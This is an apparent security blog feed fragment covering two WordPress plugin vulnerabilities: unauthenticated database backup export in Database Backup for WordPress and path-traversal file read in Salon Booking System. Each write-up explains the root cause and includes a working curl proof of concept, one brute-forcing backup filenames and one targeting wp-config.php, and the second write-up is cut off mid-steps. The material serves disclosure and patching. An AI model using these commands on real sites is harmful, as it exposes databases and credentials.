&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wp-db-backup.2.5.3.zip&quot;&gt;2.5.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/drew-webber&quot;&gt;Drew Webber (mcdruid)&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-db-backup/database-backup-for-wordpress-252-missing-authorization-to-unauthenticated-database-export&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Database Backup for WordPress plugin is vulnerable to unauthorized database export in all versions up to and including 2.5.2. The plugin does not properly enforce the return value of its authorization check. This makes it possible for unauthenticated attackers to export database tables, leading to sensitive information exposure. The vulnerability is only exploitable in WordPress Multisite environments where the deprecated &lt;code&gt;is_site_admin()&lt;/code&gt; function exists.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;How the Plugin Registers Its Actions&lt;/h3&gt;
&lt;p&gt;The plugin&apos;s main class, &lt;code&gt;wpdbBackup&lt;/code&gt;, is instantiated via the &lt;code&gt;plugins_loaded&lt;/code&gt; hook. This means its constructor runs on &lt;strong&gt;every page load&lt;/strong&gt; — not just in the admin area — for both logged-in and anonymous visitors.&lt;/p&gt;
&lt;p&gt;Inside the constructor, the plugin checks for specific GET parameters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// wp-db-backup.php (vulnerable version 2.5.2)
} elseif ( isset( $_GET[&apos;backup&apos;] ) ) {
    $this-&amp;gt;can_user_backup();
    add_action( &apos;init&apos;, array( &amp;amp;$this, &apos;init&apos; ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;?backup=&lt;/code&gt; is present in the URL, the plugin calls &lt;code&gt;can_user_backup()&lt;/code&gt; to check permissions — but &lt;strong&gt;ignores the return value&lt;/strong&gt;. The &lt;code&gt;init&lt;/code&gt; hook is always registered, regardless of whether the check passed or failed.&lt;/p&gt;
&lt;h3&gt;The Broken Authorization Check&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;can_user_backup()&lt;/code&gt; function contains a special code path for WordPress Multisite:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// wp-db-backup.php lines 1626–1628 (vulnerable version 2.5.2)
function can_user_backup( $loc = &apos;main&apos; ) {
    $can = false;

    // make sure WPMU users are site admins, not ordinary admins
    if ( function_exists( &apos;is_site_admin&apos; ) &amp;amp;&amp;amp; ! is_site_admin() ) {
        return false;
    }
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On a WordPress Multisite installation, the deprecated &lt;code&gt;is_site_admin()&lt;/code&gt; function still exists. For any non-super-admin user — including unauthenticated visitors — &lt;code&gt;is_site_admin()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;. This causes &lt;code&gt;can_user_backup()&lt;/code&gt; to return &lt;code&gt;false&lt;/code&gt; immediately.&lt;/p&gt;
&lt;p&gt;The critical issue is what this early return does &lt;strong&gt;not&lt;/strong&gt; do: it does not call &lt;code&gt;$this-&amp;gt;error()&lt;/code&gt;, it does not call &lt;code&gt;wp_die()&lt;/code&gt;, and it does not stop PHP execution. It simply returns &lt;code&gt;false&lt;/code&gt; silently.&lt;/p&gt;
&lt;p&gt;Because the constructor ignores the return value, the &lt;code&gt;init&lt;/code&gt; action is registered and fires normally.&lt;/p&gt;
&lt;h3&gt;The Backup Delivery Path&lt;/h3&gt;
&lt;p&gt;When the &lt;code&gt;init&lt;/code&gt; WordPress hook fires, the plugin&apos;s &lt;code&gt;init()&lt;/code&gt; method runs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// wp-db-backup.php (vulnerable version 2.5.2)
function init() {
    $this-&amp;gt;can_user_backup();  // return value ignored again
    if ( isset( $_GET[&apos;backup&apos;] ) ) {
        $via = isset( $_GET[&apos;via&apos;] ) ? sanitize_text_field( $_GET[&apos;via&apos;] ) : &apos;http&apos;;

        $this-&amp;gt;backup_file = sanitize_text_field( $_GET[&apos;backup&apos;] );
        $this-&amp;gt;validate_file( $this-&amp;gt;backup_file );

        // ...
        $success = $this-&amp;gt;deliver_backup( $this-&amp;gt;backup_file, $via );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;can_user_backup()&lt;/code&gt; call inside &lt;code&gt;init()&lt;/code&gt; again returns &lt;code&gt;false&lt;/code&gt; silently. Its return value is again ignored. The code proceeds to call &lt;code&gt;deliver_backup()&lt;/code&gt;, which reads the file from disk and sends it to the browser as a download.&lt;/p&gt;
&lt;h3&gt;Full Attack Execution Path&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;plugins_loaded&lt;/code&gt; hook fires → &lt;code&gt;wpdbBackup&lt;/code&gt; constructor runs on any page&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$_GET[&apos;backup&apos;]&lt;/code&gt; is set → &lt;code&gt;can_user_backup()&lt;/code&gt; called&lt;/li&gt;
&lt;li&gt;Multisite: &lt;code&gt;is_site_admin()&lt;/code&gt; exists and returns &lt;code&gt;false&lt;/code&gt; for unauthenticated user → early &lt;code&gt;return false&lt;/code&gt; (no &lt;code&gt;die&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Return value is ignored → &lt;code&gt;add_action(&apos;init&apos;, [$this, &apos;init&apos;])&lt;/code&gt; registered&lt;/li&gt;
&lt;li&gt;WordPress &lt;code&gt;init&lt;/code&gt; hook fires → &lt;code&gt;init()&lt;/code&gt; method called&lt;/li&gt;
&lt;li&gt;&lt;code&gt;can_user_backup()&lt;/code&gt; called again → again returns &lt;code&gt;false&lt;/code&gt; silently&lt;/li&gt;
&lt;li&gt;Return value ignored → &lt;code&gt;deliver_backup()&lt;/code&gt; called → database file sent to attacker&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Backup Filename Predictability&lt;/h3&gt;
&lt;p&gt;The backup filename follows this pattern:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DB_NAME_prefix_YYYYMMDD_BBB.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;BBB&lt;/code&gt; component is &lt;a href=&quot;https://en.wikipedia.org/wiki/Swatch_Internet_Time&quot;&gt;Swatch Internet Time&lt;/a&gt; (values 000–999), which changes every 86.4 seconds. Given the date is known, an attacker can brute-force the filename in at most 1000 requests per day.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational purposes only. Only test against systems you own or have explicit written permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Target is running WordPress Multisite&lt;/li&gt;
&lt;li&gt;Plugin is installed and activated (version ≤ 2.5.2)&lt;/li&gt;
&lt;li&gt;A backup file was previously created (e.g., via a scheduled backup or manual trigger)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Determine the target&apos;s database name and table prefix.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;These are often guessable: &lt;code&gt;wordpress&lt;/code&gt; is a common database name and &lt;code&gt;wp_&lt;/code&gt; is the default table prefix. They can sometimes be found in error messages or &lt;code&gt;readme.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Brute-force the backup filename.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://multisite.example.com&quot;
DB_NAME=&quot;wordpress&quot;
PREFIX=&quot;wp_&quot;
DATE=$(date +%Y%m%d)

for B in $(seq -w 0 999); do
  FILENAME=&quot;${DB_NAME}_${PREFIX}${DATE}_${B}.sql&quot;
  RESPONSE=$(curl -s -o stolen_backup.sql -w &quot;%{http_code}:%{size_download}&quot; \
    &quot;${TARGET}/?backup=${FILENAME}&quot;)
  CODE=${RESPONSE%%:*}
  SIZE=${RESPONSE##*:}
  if [ &quot;$CODE&quot; -eq 200 ] &amp;amp;&amp;amp; [ &quot;$SIZE&quot; -gt 500 ]; then
    echo &quot;[!] Found backup: $FILENAME (${SIZE} bytes)&quot;
    echo &quot;[!] Saved to: stolen_backup.sql&quot;
    break
  fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Inspect the stolen database.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# If gzip-compressed
file stolen_backup.sql
gunzip -c stolen_backup.sql &amp;gt; stolen_backup_plain.sql

# Extract user credentials
grep -i &quot;INSERT INTO.*users&quot; stolen_backup_plain.sql | head -5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected outcome:&lt;/strong&gt; The attacker receives the full SQL dump of the WordPress database, including the &lt;code&gt;wp_users&lt;/code&gt; table (hashed passwords), &lt;code&gt;wp_usermeta&lt;/code&gt; (user roles), and all other tables.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 2.5.3 addresses the vulnerability with two complementary fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Check the return value in the constructor.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The constructor now explicitly checks the return value of &lt;code&gt;can_user_backup()&lt;/code&gt; before registering the &lt;code&gt;init&lt;/code&gt; hook:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- } elseif ( isset( $_GET[&apos;fragment&apos;] ) ) {
-     $this-&amp;gt;can_user_backup( &apos;frame&apos; );
-     add_action( &apos;init&apos;, array( &amp;amp;$this, &apos;init&apos; ) );
- } elseif ( isset( $_GET[&apos;backup&apos;] ) ) {
-     $this-&amp;gt;can_user_backup();
-     add_action( &apos;init&apos;, array( &amp;amp;$this, &apos;init&apos; ) );
+ } elseif ( isset( $_GET[&apos;fragment&apos;] ) ) {
+     if ( ! $this-&amp;gt;can_user_backup( &apos;frame&apos; ) ) {
+         return;
+     }
+     add_action( &apos;init&apos;, array( &amp;amp;$this, &apos;init&apos; ) );
+ } elseif ( isset( $_GET[&apos;backup&apos;] ) ) {
+     if ( ! $this-&amp;gt;can_user_backup() ) {
+         return;
+     }
+     add_action( &apos;init&apos;, array( &amp;amp;$this, &apos;init&apos; ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;can_user_backup()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, the constructor returns early and the &lt;code&gt;init&lt;/code&gt; hook is never registered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — Make the Multisite early return call &lt;code&gt;error()&lt;/code&gt; first.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;can_user_backup()&lt;/code&gt; function now calls &lt;code&gt;$this-&amp;gt;error()&lt;/code&gt; (with &lt;code&gt;kind: &apos;fatal&apos;&lt;/code&gt;) before returning &lt;code&gt;false&lt;/code&gt; in the Multisite path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if ( function_exists( &apos;is_site_admin&apos; ) &amp;amp;&amp;amp; ! is_site_admin() ) {
+     $this-&amp;gt;error(
+         array(
+             &apos;loc&apos;  =&amp;gt; $loc,
+             &apos;kind&apos; =&amp;gt; &apos;fatal&apos;,
+             &apos;msg&apos;  =&amp;gt; __(
+                 &apos;You are not allowed to perform backups.&apos;,
+                 &apos;wp-db-backup&apos;
+             ),
+         )
+     );
      return false;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;error()&lt;/code&gt; call triggers &lt;code&gt;error_display()&lt;/code&gt;, which calls &lt;code&gt;wp_die()&lt;/code&gt; and stops PHP execution. Even if a future caller forgets to check the return value, the fatal error handler will terminate the request.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 3 — Randomize backup filenames.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As a defense-in-depth measure, the patch adds a random 12-character token to each backup filename:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- $this-&amp;gt;backup_filename = DB_NAME . &quot;_$table_prefix$datum.sql&quot;;
+ $nonce = wp_generate_password( 12, false );
+ $this-&amp;gt;backup_filename = sanitize_text_field( DB_NAME . &apos;_&apos; . $table_prefix . $datum . &apos;_&apos; . $nonce . &apos;.sql&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes backup filenames unpredictable, so even if the authorization check were bypassed, an attacker could not guess the filename to request.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Wordfence publicly published the advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;Advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 20, 2026&lt;/td&gt;
&lt;td&gt;Version 2.5.3 released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update &lt;strong&gt;Database Backup for WordPress&lt;/strong&gt; to version &lt;strong&gt;2.5.3&lt;/strong&gt; or later immediately.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Installed Plugins&lt;/strong&gt;, find &quot;Database Backup for WordPress&quot;, and click &lt;strong&gt;Update Now&lt;/strong&gt;. Alternatively, download the latest version from &lt;a href=&quot;https://wordpress.org/plugins/wp-db-backup/&quot;&gt;wordpress.org/plugins/wp-db-backup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note: The plugin maintainer has stated that version 2.5.3 is a security-only release and the plugin is no longer actively maintained. Consider migrating to an actively maintained backup solution after updating.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4029&quot;&gt;CVE-2026-4029 — CVE Record&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-db-backup/database-backup-for-wordpress-252-missing-authorization-to-unauthenticated-database-export&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-db-backup/tags/2.5.2/wp-db-backup.php#L1623&quot;&gt;Vulnerable code — wp-db-backup.php line 1623 (tag 2.5.2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-db-backup/trunk/wp-db-backup.php#L1632&quot;&gt;Fixed code — wp-db-backup.php line 1632 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-db-backup/trunk/wp-db-backup.php#L153&quot;&gt;Fixed code — wp-db-backup.php line 153 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3510595/&quot;&gt;Patch changeset 3510595&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-06T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-6320: Arbitrary File Read in Salon Booking System</title><link>https://hurayraiit.com/blog/cve-2026-6320-arbitrary-file-read-salon-booking-system/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-6320-arbitrary-file-read-salon-booking-system/</guid><description>CVE-2026-6320 is a CVSS 7.5 High path traversal in Salon Booking System letting unauthenticated attackers read any server file via booking confirmation emails.</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-6320&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; unauthenticated arbitrary file read vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/salon-booking-system/&quot;&gt;Salon Booking System – Free Version&lt;/a&gt; WordPress plugin. An unauthenticated attacker can submit path traversal sequences in the booking form&apos;s file fields and receive any server file — including &lt;code&gt;wp-config.php&lt;/code&gt; or &lt;code&gt;/etc/passwd&lt;/code&gt; — as an attachment in the booking confirmation email.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Salon Booking System – Free Version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;salon-booking-system&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6320&quot;&gt;CVE-2026-6320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Read via Booking File Field Path Traversal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/salon-booking-system.10.30.23.zip&quot;&gt;&amp;lt;= 10.30.25&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/salon-booking-system.10.30.26.zip&quot;&gt;10.30.26&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 1, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daroo-2&quot;&gt;daroo&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/salon-booking-system/salon-booking-system-free-version-103025-unauthenticated-arbitrary-file-read-via-booking-file-field-path-traversal&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;An unauthenticated attacker can read any file on the server and receive its contents as an email attachment. The Salon Booking System plugin accepts arbitrary file-path strings in its booking form&apos;s file fields. It stores these strings without validation, then uses them directly as email attachment paths when sending booking confirmation emails. Because no authentication is required to submit the booking form, any remote attacker can exfiltrate sensitive server files — such as &lt;code&gt;/etc/passwd&lt;/code&gt;, WordPress configuration files, or private key material — simply by completing a booking.&lt;/p&gt;
&lt;p&gt;This vulnerability affects all plugin versions up to and including 10.30.25.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The attack starts at the booking form&apos;s Details step. The plugin renders a file-type custom checkout field as an HTML &lt;code&gt;&amp;lt;input type=&quot;file&quot;&amp;gt;&lt;/code&gt;. When the form is submitted, the PHP handler reads the field value directly from &lt;code&gt;$_POST[&apos;sln&apos;]&lt;/code&gt; with no validation:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;src/SLN/Shortcode/Salon/DetailsStep.php&lt;/code&gt; (line 127–128)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$values = $_POST[&apos;sln&apos;];   // No sanitization; attacker controls all values
$this-&amp;gt;bindValues($values);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;bindValues()&lt;/code&gt; method in &lt;code&gt;src/SLN/Shortcode/Salon/AbstractUserStep.php&lt;/code&gt; (lines 196–203) then stores the raw value as a file path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!empty($field) &amp;amp;&amp;amp; $field-&amp;gt;get(&apos;type&apos;) === &apos;file&apos; &amp;amp;&amp;amp; is_array($data)) {
    $data = array_map(function($file) {
        return array(
            &apos;subdir&apos; =&amp;gt; wp_upload_dir()[&apos;subdir&apos;],  // e.g. /2026/05
            &apos;file&apos;   =&amp;gt; $file,                       // ATTACKER CONTROLLED — no basename()
        );
    }, $data);
}
$bb-&amp;gt;set($fieldName, SLN_Func::filter($data, $filter));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same unsanitized storage occurs in two additional code paths:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AbstractUserStep::successRegistration()&lt;/code&gt; at line 37–42 (new user registration flow)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DetailsStep::dispatchForm()&lt;/code&gt; at line 179–184 (logged-in user update flow)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The stored path is later used in &lt;code&gt;src/SLN/Plugin.php&lt;/code&gt; (line 147) when constructing email attachments:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$settings[&apos;attachments&apos;][] = implode(&apos;/&apos;, array_filter(array(
    wp_get_upload_dir()[&apos;basedir&apos;],  // e.g. /var/www/html/wp-content/uploads
    trim($f[&apos;subdir&apos;], &apos;/&apos;),          // e.g. 2026/05
    $f[&apos;file&apos;]                        // ATTACKER CONTROLLED — e.g. ../../../../../../etc/passwd
)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This concatenated path is passed directly to &lt;code&gt;wp_mail()&lt;/code&gt; as an attachment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp_mail($settings[&apos;to&apos;], $settings[&apos;subject&apos;], $content, $headers, $settings[&apos;attachments&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PHPMailer (used by WordPress&apos;s &lt;code&gt;wp_mail&lt;/code&gt;) reads the file from disk and attaches it to the outgoing email.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The plugin stores the &lt;code&gt;file&lt;/code&gt; value from &lt;code&gt;$_POST[&apos;sln&apos;]&lt;/code&gt; without calling &lt;code&gt;basename()&lt;/code&gt; or any path-sanitization function. It later constructs a filesystem path from this value with no containment check. Any &lt;code&gt;../&lt;/code&gt; sequences in the value traverse outside the uploads directory.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The plugin provides a separate AJAX endpoint (&lt;code&gt;SLN_Action_Ajax_UploadFile&lt;/code&gt;) for actual file uploads. That endpoint correctly requires authentication and validates the uploaded file. However, the main booking form submission (&lt;code&gt;$_POST[&apos;sln&apos;]&lt;/code&gt;) is entirely independent. The plugin never verifies that the file-field value submitted in the booking form matches a file that was actually uploaded through the secure AJAX endpoint. An attacker skips the AJAX upload entirely and POSTs an arbitrary string — including path traversal sequences — directly in the booking form.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can read any file that the web server process can access and receive it by email. The worst-case outcome is full server compromise through exfiltration of WordPress &lt;code&gt;wp-config.php&lt;/code&gt; (database credentials), &lt;code&gt;/etc/passwd&lt;/code&gt; (user enumeration), SSH private keys, &lt;code&gt;.env&lt;/code&gt; files, or application secrets. Because the attacker controls the email recipient address through the booking form, no existing account or session is needed.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress site with the &lt;code&gt;salon-booking-system&lt;/code&gt; plugin installed and activated, version &amp;lt;= 10.30.25&lt;/li&gt;
&lt;li&gt;At least one custom checkout field of type &lt;code&gt;file&lt;/code&gt; configured in the plugin&apos;s settings (Booking → Additional Fields)&lt;/li&gt;
&lt;li&gt;Guest checkout enabled, or the attacker creates a customer account (free, no email verification required in default configuration)&lt;/li&gt;
&lt;li&gt;The attacker controls the email address entered in the booking form&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the file field key&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit the salon booking page in a browser and open the Details step. Inspect the HTML to find the file upload input&apos;s &lt;code&gt;name&lt;/code&gt; attribute:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;sln[custom_photo][]&quot; ...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The field key in this example is &lt;code&gt;custom_photo&lt;/code&gt;. Note the key — you will use it in Step 3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Complete the first booking steps normally&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Navigate through the booking flow (select service, date, time) in a browser. Stop at the Details step — do not submit it through the browser yet. Use the browser&apos;s developer tools (Network tab) to copy the full POST URL and any required cookies or session tokens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Submit the Details step with a traversal payload&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace the file field value in the POST body with path traversal sequences targeting the file you want to read. Use a sufficient number of &lt;code&gt;../&lt;/code&gt; segments to exit the uploads directory. For a typical WordPress installation at &lt;code&gt;/var/www/html/&lt;/code&gt;, use 8 or more &lt;code&gt;../&lt;/code&gt; sequences.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Replace &amp;lt;SITE_URL&amp;gt;, &amp;lt;FIELD_KEY&amp;gt;, and cookie values with your actual values.
# This targets wp-config.php which holds database credentials.
curl -s -c /tmp/sln-cookies.txt -b /tmp/sln-cookies.txt \
  -X POST &quot;&amp;lt;SITE_URL&amp;gt;/?page_id=&amp;lt;BOOKING_PAGE_ID&amp;gt;&quot; \
  --data-urlencode &quot;sln[firstname]=Test&quot; \
  --data-urlencode &quot;sln[lastname]=User&quot; \
  --data-urlencode &quot;sln[email]=attacker@example.com&quot; \
  --data-urlencode &quot;sln[phone]=+1234567890&quot; \
  --data-urlencode &quot;sln[no_user_account]=1&quot; \
  --data-urlencode &quot;sln[&amp;lt;FIELD_KEY&amp;gt;][]=../../../../../../../../wp-config.php&quot; \
  --data-urlencode &quot;sln_step=details&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The &lt;code&gt;no_user_account=1&lt;/code&gt; parameter enables guest checkout. If guest checkout is disabled, first create a customer account via the plugin&apos;s registration form, then authenticate using the login form at the Details step.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Proceed to the Summary step and confirm the booking&lt;/strong&gt;&lt;/p&gt;
